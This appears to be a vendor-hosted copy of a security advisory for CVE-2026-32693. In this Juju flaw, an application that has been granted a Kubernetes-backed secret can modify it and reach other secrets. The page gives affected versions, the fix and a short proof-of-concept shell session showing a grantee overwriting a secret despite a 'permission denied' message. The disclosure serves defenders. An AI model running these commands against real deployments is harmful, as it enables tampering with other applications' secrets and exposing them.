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GHSA-439w-v2p7-pggc

HIGH

Juju has unauthorized access to out-of-scope Kubernetes secrets

Also known asCVE-2026-32693GO-2026-4777
Published
Mar 19, 2026
Updated
Mar 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk22th percentile+0.22%
0.00%0.27%0.54%0.80%0.1%0.1%0.1%0.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/juju/juju

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested:

  • two applications in the same controller, same model: one owns the secret, another get a grant
  • relation between them
  • secret grant
  • Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested:

  • admin (user) secrets
  • cross-model relations
  • cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
  workload-version: 24.2.0
  opened-ports: []
  charm: ch:amd64/nginx-ingress-integrator-203
  leader: true
  life: alive
  relation-info:
  - relation-id: 11
    endpoint: ingress
    related-endpoint: ingress
    application-data: {}
    related-units:
      evilator/0:
        in-scope: true
        data:
          egress-subnets: 10.152.183.39/32
          ingress-address: 10.152.183.39
          private-address: 10.152.183.39
  - relation-id: 10
    endpoint: nginx-peers
    related-endpoint: nginx-peers
    application-data: {}
    local-unit:
      in-scope: true
      data:
        egress-subnets: 10.152.183.135/32
        ingress-address: 10.152.183.135
        private-address: 10.152.183.135
  provider-id: ingress2-0
  address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" 
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" 
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" 
nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

  • secret-set command logs an error, though returns OK return status
  • the secret value is updated
  • new secret revision is not created
  • new value is visible to both owner and grantee

Impact

  • the application that owns the secret
  • a third application, if a secret is granted to multiple parties
  • any other application that has secrets in the same Kubernetes secret backend

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/juju/juju0.0.0-20221021155847-35c560704ee2&&< 0.0.0-20260319091847-d06919eb03ec0.0.0-20260319091847-d06919eb03ec

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/juju/juju. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/juju/juju to 0.0.0-20260319091847-d06919eb03ec or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-439w-v2p7-pggc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-439w-v2p7-pggc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-439w-v2p7-pggc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Grantee is able to update secret content using the `secret-set` tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value. ### Details When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it. Authorization of the `secret-set` hook tool / controller request is not performed c
O3 Security · Impact-Aware SCA

Is GHSA-439w-v2p7-pggc in your dependencies?

O3 detects GHSA-439w-v2p7-pggc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.